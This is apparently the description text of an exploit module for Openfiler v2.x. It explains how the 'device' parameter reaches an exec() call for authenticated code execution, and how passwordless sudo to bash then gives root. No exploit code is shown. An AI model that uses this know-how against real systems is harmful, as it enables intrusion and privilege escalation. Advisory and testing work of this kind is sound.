|
|
This module exploits a vulnerability in Openfiler v2.x
|
|
which could be abused to allow authenticated users to execute arbitrary
|
|
code under the context of the 'openfiler' user. The 'system.html' file
|
|
uses user controlled data from the 'device' parameter to create a new
|
|
'NetworkCard' object. The class constructor in 'network.inc' calls exec()
|
|
with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without
|
|
providing a system password.
